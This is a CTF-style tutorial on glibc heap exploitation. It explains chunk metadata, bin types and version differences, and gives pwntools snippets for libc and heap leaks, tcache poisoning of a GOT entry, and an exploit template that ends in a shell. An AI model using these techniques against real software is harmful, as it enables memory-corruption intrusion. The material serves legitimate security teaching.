Heap Exploitation
Introduction to glibc heap internals and the most common CTF heap attacks.
Heap Exploitation
Stack overflows are straightforward — you overwrite the return address and redirect execution. Heap exploitation is different. You're attacking the memory allocator itself — corrupting the metadata that malloc and free use to manage memory, tricking the allocator into giving you a pointer to memory you shouldn't control.
This is the most complex area of pwn. It requires understanding how malloc and free actually work before you can abuse them.
What Is the Heap?
When your program calls malloc(n), the allocator finds a chunk of memory on the heap (a region of memory managed by glibc's ptmalloc2 allocator) and returns a pointer to it. When you call free(ptr), that chunk is returned to a pool (a bin) for reuse.
The heap is separate from the stack. Stack memory is managed automatically by function calls. Heap memory is managed manually by malloc/free — and this manual management is where bugs happen.
Chunk Layout
Every malloc allocation is wrapped in a chunk with metadata:
High address
┌──────────────────────┐
│ ... next chunk ... │
├──────────────────────┤
│ user data │ ← pointer returned by malloc()
│ (your allocation) │
├──────────────────────┤
│ size (8 bytes) │ ← chunk size + flags (bottom 3 bits)
├──────────────────────┤
│ prev_size (8 bytes) │ ← only used when previous chunk is free
└──────────────────────┘
Low addressThe size field stores the chunk size plus three flags in the lowest 3 bits:
- P (PREV_INUSE): bit 0 — is the previous chunk in use?
- M (IS_MMAPPED): bit 1 — was this allocated via mmap?
- A (NON_MAIN_ARENA): bit 2 — is this from a non-main arena?
When malloc returns a pointer, it points to the user data area, not the chunk header. The metadata sits just before the user data.
What Happens When You malloc
malloc(0x30)asks for 48 bytes- The allocator rounds up to the nearest size class (0x40, including metadata) and looks in the bins for a free chunk of that size
- If found in a bin, it returns that chunk (recycling memory)
- If not found, it extends the heap (moves the "top chunk" boundary) and returns fresh memory
What Happens When You free
free(ptr)marks the chunk as free- Based on the chunk's size, it's placed into a bin — a linked list of free chunks
- Adjacent free chunks may be coalesced (merged into a larger free chunk)
- The freed chunk's
fdandbkpointers are set to link it into the bin
This is where the attack surface lives. After free, the chunk's first 16 bytes contain fd and bk pointers. If you can modify these (via a UAF or overflow), you can corrupt the bin's linked list and trick malloc into returning a pointer to arbitrary memory.
Bin Types
When a chunk is freed, it goes into a bin based on its size. Understanding which bin a chunk goes to is essential:
| Bin | Size Range | Max entries | Order | Notes |
|---|---|---|---|---|
| Tcache | 0x20–0x410 | 7 per size | LIFO | Per-thread cache, fastest path. glibc 2.26+ |
| Fastbins | 0x20–0x80 | Unlimited | LIFO | No coalescing, singly-linked |
| Unsorted bin | Any | Unlimited | — | Chunks land here first, then get sorted |
| Small bins | 0x20–0x3f0 | Unlimited | FIFO | Doubly-linked |
| Large bins | > 0x400 | Unlimited | — | Sorted by size, doubly-linked |
How the allocator decides: When freeing a chunk, glibc checks tcache first (if size fits and count < 7). If tcache is full, it goes to fastbins (small sizes) or the unsorted bin (larger sizes).
When allocating, glibc checks tcache first, then fastbins, then unsorted bin (which gets sorted into small/large bins), then the top chunk.
Visualizing with GEF
You can inspect the heap state in GDB with GEF:
gef> heap chunks # list all allocated chunks with sizes
gef> heap bins # show all bin contents (tcache, fastbin, unsorted, etc.)
gef> heap bins tcache # tcache only
gef> heap bins fast # fastbins only
gef> vis_heap_chunks # visual chunk map
gef> heap info # arena metadataRun these commands after every malloc and free in your exploit. Seeing how the heap state changes is the best way to understand what's happening.
The Common Heap Bugs
Heap exploitation starts with a bug. Here are the ones you'll see in CTFs:
Use-After-Free (UAF)
A pointer to a freed chunk is used again — read or written. This lets you leak heap/libc addresses from the chunk's fd/bk pointers, or corrupt the bin list by writing to the freed chunk.
See Use-After-Free for the full walkthrough.
Heap Overflow
Like a stack overflow, but on the heap. If you can write past the end of a heap chunk, you overwrite the metadata of the next chunk — its size, fd/bk pointers, and flags.
Double Free
Freeing the same chunk twice. This puts the same chunk into a bin twice, so two malloc calls return the same pointer. You now have two pointers to the same memory — one can be used to corrupt the other's data.
Off-By-One / Off-By-Null
Writing one extra byte past a buffer. This can corrupt the size field of the next chunk, preventing proper coalescing or enabling chunk overlapping.
Attack: Leaking libc from the Heap
A chunk freed into the unsorted bin (size > 0x410, or when tcache/fastbins are full) has its fd and bk pointers set to main_arena+96 — a known address in libc. If you can read a freed unsorted bin chunk, you get a libc leak:
# 1. Allocate a large chunk + a guard chunk (prevents merging with top chunk)
alloc(0x420) # chunk A (large enough for unsorted bin)
alloc(0x20) # guard chunk
# 2. Free the large chunk → goes to unsorted bin
free(0) # A's fd/bk now point to main_arena+96
# 3. Read the freed chunk (via UAF)
leak = u64(show(0)[:8].ljust(8, b'\x00'))
libc.address = leak - libc.sym['main_arena'] - 96
log.success(f"libc base @ {hex(libc.address)}")This is the standard first step in almost every heap exploit: get a libc leak.
Attack: Leaking Heap Addresses
A chunk freed into tcache has its fd pointer set to the next chunk in the tcache bin. In glibc < 2.32, this is a plaintext pointer. In glibc 2.32+, it's XOR-encoded (safe-linking).
# Free a small chunk → goes to tcache
alloc(0x30)
free(0)
# Read the freed chunk's fd pointer (via UAF)
leak = u64(show(0)[:8].ljust(8, b'\x00'))
# glibc < 2.32: leak is a raw heap pointer
# glibc 2.32+: leak = (heap_addr >> 12) ^ next_fdAttack: Tcache Poisoning
Once you have a heap leak, you can overwrite a freed chunk's fd pointer to point to an arbitrary address. The next malloc of that size returns your fake address — giving you an arbitrary write.
# 1. Free a chunk into tcache
alloc(0x30) # chunk A
free(0) # A → tcache[0x40]
# 2. Overwrite A's fd pointer (via UAF)
target = elf.got['puts'] # or __free_hook, or any address
edit(0, p64(target)) # tcache: A → target
# 3. Allocate twice
alloc(0x30) # pops A from tcache
evil = alloc(0x30) # pops target from tcache — malloc returns target!
# 4. Write to target
edit(1, p64(libc.sym['system'])) # overwrite puts@GOT with systemSee Tcache Poisoning for safe-linking bypass and full templates.
glibc Version Matters
The glibc version determines which attacks are available. Always check:
strings ./libc.so.6 | grep "GNU C Library"| glibc version | Key differences |
|---|---|
| < 2.26 | No tcache. Fastbin attacks dominate. |
| 2.26–2.28 | Tcache added, no safe-linking, no double-free detection |
| 2.29–2.31 | Double-free detection added to tcache. __free_hook still available. |
| 2.32–2.33 | Safe-linking (fd pointers XOR-encoded). __free_hook still available. |
| 2.34+ | Hooks removed (__free_hook, __malloc_hook). Need FSOP or House of Apple. |
Full Exploit Template
from pwn import *
context.binary = elf = ELF('./vuln')
libc = ELF('./libc.so.6')
p = process('./vuln')
# [Menu helpers: alloc(size), free(idx), show(idx), edit(idx, data)]
# 1. Leak heap (UAF on tcache chunk)
alloc(0x30)
free(0)
heap_raw = u64(show(0)[:8].ljust(8, b'\x00'))
heap = heap_raw << 12 # glibc 2.32+ safe-linking
log.success(f"Heap @ {hex(heap)}")
# 2. Leak libc (free large chunk to unsorted bin)
alloc(0x500); alloc(0x20) # large + guard
free(0)
libc_leak = u64(show(0)[:8].ljust(8, b'\x00'))
libc.address = libc_leak - libc.sym['main_arena'] - 96
log.success(f"libc @ {hex(libc.address)}")
# 3. Tcache poisoning → arbitrary write
# (overwrite target with system or one_gadget)
# See tcache-poisoning.mdx for full details
# 4. Trigger shell
# (depends on what you overwrote — GOT, hooks, etc.)
p.interactive()Checklist
- What glibc version? (
strings libc.so.6 | grep "GNU C Library") - Is there a UAF, heap overflow, or double-free?
- Get a heap leak (UAF on freed tcache chunk)
- Get a libc leak (free large chunk to unsorted bin, read
fd) - Use tcache poisoning for arbitrary write
- glibc < 2.34: overwrite
__free_hookwithsystem - glibc 2.34+: use FSOP or House of Apple (see House of Series)
- Reference: shellphish/how2heap — working examples for every glibc version
Last updated on